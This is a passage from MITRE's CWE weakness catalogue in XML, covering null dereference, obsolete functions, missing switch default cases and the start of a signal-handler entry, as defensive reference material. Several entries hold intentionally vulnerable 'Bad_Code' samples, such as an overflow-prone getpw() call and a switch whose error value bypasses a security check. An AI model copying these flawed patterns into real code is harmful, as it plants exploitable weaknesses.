					          <Observed_Example_Description>Network monitor allows remote attackers to cause a
						denial of service (crash) via a malformed Q.931, which triggers a null
						dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1000</Observed_Example_Reference>
					          <Observed_Example_Description>Chat client allows remote attackers to cause a
						denial of service (crash) via a passive DCC request with an invalid ID
						number, which causes a null dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0389</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service (crash) via malformed requests that trigger a null
						dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0119</Observed_Example_Reference>
					          <Observed_Example_Description>OS allows remote attackers to cause a denial of
						service (crash from null dereference) or execute arbitrary code via a
						crafted request during authentication protocol
						selection.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0458</Observed_Example_Reference>
					          <Observed_Example_Description>Game allows remote attackers to cause a denial of
						service (server crash) via a missing argument, which triggers a null pointer
						dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0401</Observed_Example_Reference>
					          <Observed_Example_Description>Network monitor allows remote attackers to cause a
						denial of service (crash) or execute arbitrary code via malformed packets
						that cause a NULL pointer dereference.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Null Dereference</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Null-pointer dereference</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Null Dereference (Null Pointer Dereference)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure a null pointer is not dereferenced</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure a null pointer is not dereferenced</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP34-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that assigns a null value to the pointer</Text>
						            <Text>2. end statement that dereferences a pointer</Text>
						            <Text>3. the code path does not contain any other statement that assigns
							value to the pointer</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Other_Notes, Potential_Mitigations,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Detection_Factors, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="477" Name="Use of Obsolete Functions" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The code uses deprecated or obsolete functions, which suggests
					that the code has not been actively reviewed or
					maintained.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>As programming languages evolve, functions occasionally become obsolete
						due to:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Advances in the language</Text>
						            <Text>Improved understanding of how operations should be performed
							effectively and securely</Text>
						            <Text>Changes in the conventions that govern certain operations</Text>
					          </Block>
					          <Text>Functions that are removed are usually replaced by newer counterparts that
						perform the same task in some different and hopefully improved way. Refer to
						the documentation for this function in order to determine why it is
						deprecated or obsolete and to learn about alternative ways to achieve the
						same functionality. The remainder of this text discusses general problems
						that stem from the use of deprecated or obsolete functions.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider seriously the security implication of using an obsolete
							function. Consider using alternate functions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses the deprecated function getpw() to verify
						that a plaintext password matches a user's encrypted password. If the
						password is valid, the function sets result to 1; otherwise it is set to
						0.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>...</Code>
							              <Code>getpw(uid, pwdline);</Code>
							              <Code>for (i=0; i&lt;3; i++){</Code>
							              <Block>
								                <Code>cryptpw=strtok(pwdline, ":");</Code>
								                <Code>pwdline=0;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Although the code often behaves correctly, using the getpw() function
							can be problematic from a security standpoint, because it can overflow
							the buffer passed to its second parameter. Because of this
							vulnerability, getpw() has been supplanted by getpwuid(), which performs
							the same lookup as getpw() but returns a pointer to a
							statically-allocated structure to mitigate the risk. Not all functions
							are deprecated or replaced because they pose a security risk. However,
							the presence of an obsolete function often indicates that the
							surrounding code has been neglected and may be in a state of disrepair.
							Software security has not been a priority, or even a consideration, for
							very long. If the program uses deprecated or obsolete functions, it
							raises the probability that there are security problems lurking
							nearby.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code, the programmer assumes that the system always
						has a property named "cmd" defined. If an attacker can control the program's
						environment so that "cmd" is not defined, the program throws a null pointer
						exception when it attempts to call the "Trim()" method.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String cmd = null;</Code>
							              <Code>...</Code>
							              <Code>cmd = Environment.GetEnvironmentVariable("cmd");</Code>
							              <Code>cmd = cmd.Trim();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code constructs a string object from an array of bytes
						and a value that specifies the top 8 bits of each 16-bit Unicode
						character.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>String name = new String(nameBytes, highByte);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>In this example, the constructor may not correctly convert bytes to
							characters depending upon which charset is used to encode the string
							represented by nameBytes. Due to the evolution of the charsets used to
							encode strings, this constructor was deprecated and replaced by a
							constructor that accepts as one of its parameters the name of the
							charset used to encode the bytes for conversion.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Obsolete</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Obsolete</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="478" Name="Missing Default Case in Switch Statement" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code does not have a default case in a switch statement,
					which might lead to complex logical errors and resultant
					weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This flaw represents a common problem in software development, in which
						not all possible values for a variable are considered or handled by a given
						process. Because of this, further decisions are made based on poor
						information, and cascading failure results. This cascading failure may
						result in any number of security issues, and constitutes a significant
						failure in the system. In the case of switch style statements, the very
						simple act of creating a default case can mitigate this situation, if done
						correctly. Often however, the default cause is used simply to represent an
						assumed option, as opposed to working as a sanity check. This is poor
						practice and in some cases is as bad as omitting a default case entirely.
					</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Depending on the logical circumstances involved, any consequences may
							result: e.g., issues of confidentiality, authentication, authorization,
							availability, integrity, accountability, or non-repudiation.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that there are no unaccounted for cases, when adjusting flow or
							values based on the value of a given variable. In switch statements,
							this can be accomplished through the use of the default label.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following does not properly check the return code in the case
						where the security_check function returns a -1 value when an error occurs.
						If an attacker can supply data that will invoke an error, the attacker can
						bypass the security check:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define FAILED 0</Code>
							              <Code>#define PASSED 1</Code>
							              <Code>int result;</Code>
							              <Code>...</Code>
							              <Code>result = security_check(data);</Code>
							              <Code>switch (result) {</Code>
							              <Block>
								                <Code>case FAILED:</Code>
								                <Block>
									                  <Code>printf("Security check failed!\n");</Code>
									                  <Code>exit(-1);</Code>
									                  <Comment>//Break never reached because of exit()</Comment>
									                  <Code>break;</Code>
								                </Block>
								                <Code>case PASSED:</Code>
								                <Block>
									                  <Code>printf("Security check passed.\n");</Code>
									                  <Code>break;</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
							              <Comment>// program execution continues...</Comment>
							              <Code>...</Code>
						            </Block>
						            <Text>Instead a default label should be used for unaccounted
							conditions:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define FAILED 0</Code>
							              <Code>#define PASSED 1</Code>
							              <Code>int result;</Code>
							              <Code>...</Code>
							              <Code>result = security_check(data);</Code>
							              <Code>switch (result) {</Code>
							              <Block>
								                <Code>case FAILED:</Code>
								                <Block>
									                  <Code>printf("Security check failed!\n");</Code>
									                  <Code>exit(-1);</Code>
									                  <Comment>//Break never reached because of exit()</Comment>
									                  <Code>break;</Code>
								                </Block>
								                <Code>case PASSED:</Code>
								                <Block>
									                  <Code>printf("Security check passed.\n");</Code>
									                  <Code>break;</Code>
								                </Block>
								                <Code>default:</Code>
								                <Block>
									                  <Code>printf("Unknown error (%d), exiting...\n",result);</Code>
									                  <Code>exit(-1);</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This label is used because the assumption cannot be made that all
							possible cases are accounted for. A good practice is to reserve the
							default case for error handling.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the method getInterestRate retrieves
						the interest rate for the number of points for a mortgage. The number of
						points is provided within the input parameter and a switch statement will
						set the interest rate value to be returned based on the number of
						points.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public static final String INTEREST_RATE_AT_ZERO_POINTS =
								"5.00";</Code>
							              <Code>public static final String INTEREST_RATE_AT_ONE_POINTS =
								"4.75";</Code>
							              <Code>public static final String INTEREST_RATE_AT_TWO_POINTS =
								"4.50";</Code>
							              <Code>...</Code>
							              <Code>public BigDecimal getInterestRate(int points) {</Code>
							              <Block>
								                <Code>BigDecimal result = new
									BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);</Code>
								                <Code/>
								                <Code>switch (points) {</Code>
								                <Block>
									                  <Code>case 0: </Code>
									                  <Block>
										                    <Code>result = new
											BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);</Code>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>case 1:</Code>
									                  <Block>
										                    <Code>result = new
											BigDecimal(INTEREST_RATE_AT_ONE_POINTS);</Code>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>case 2:</Code>
									                  <Block>
										                    <Code>result = new
											BigDecimal(INTEREST_RATE_AT_TWO_POINTS);</Code>
										                    <Code>break;</Code>
									                  </Block>
								                </Block>
								                <Code>}</Code>
								                <Code>return result;</Code>
							              </Block>
							              <Code> }</Code>
						            </Block>
						            <Text>However, this code assumes that the value of the points input
							parameter will always be 0, 1 or 2 and does not check for other
							incorrect values passed to the method. This can be easily accomplished
							by providing a default label in the switch statement that outputs an
							error message indicating an invalid value for the points input parameter
							and returning a null value.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public static final String INTEREST_RATE_AT_ZERO_POINTS =
								"5.00";</Code>
							              <Code>public static final String INTEREST_RATE_AT_ONE_POINTS =
								"4.75";</Code>
							              <Code>public static final String INTEREST_RATE_AT_TWO_POINTS =
								"4.50";</Code>
							              <Code>...</Code>
							              <Code>public BigDecimal getInterestRate(int points) {</Code>
							              <Block>
								                <Code>BigDecimal result = new
									BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);</Code>
								                <Code/>
								                <Code>switch (points) {</Code>
								                <Block>
									                  <Code>case 0: </Code>
									                  <Block>
										                    <Code>result = new
											BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);</Code>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>case 1:</Code>
									                  <Block>
										                    <Code>result = new
											BigDecimal(INTEREST_RATE_AT_ONE_POINTS);</Code>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>case 2:</Code>
									                  <Block>
										                    <Code>result = new
											BigDecimal(INTEREST_RATE_AT_TWO_POINTS);</Code>
										                    <Code>break;</Code>
									                  </Block>
									                  <Code>default:</Code>
									                  <Block>
										                    <Code>System.err.println("Invalid value for points, must be
											0, 1 or 2");</Code>
										                    <Code>System.err.println("Returning null value for interest
											rate");</Code>
										                    <Code>result = null;</Code>
									                  </Block>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return result;</Code>
							              </Block>
							              <Code> }</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Switch Statements", Page 337.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to account for default case in
						switch</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Account for
						Default Case in Switch</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Use Default Case
						in Switch</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="479" Name="Signal Handler Use of a Non-reentrant Function" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program defines a signal handler that calls a non-reentrant
					function.</Description_Summary>
				        <Extended_Description>
					          <Text>Non-reentrant functions are functions that cannot safely be called,
						interrupted, and then recalled before the first call has finished without
						resulting in memory corruption. This can lead to an unexpected system state
						an unpredictable results with a variety of potential consequences depending
						on context, including denial of service and code execution.</Text>
					          <Text>Many functions are not reentrant, but some of them can result in the
						corruption of memory if they are used in a signal handler. The function call
						syslog() is an example of this. In order to perform its functionality, it
						allocates a small amount of memory as "scratch space." If syslog() is
						suspended by a signal call and the signal handler calls syslog(), the memory
						used by both of these functions enters an undefined, and possibly,
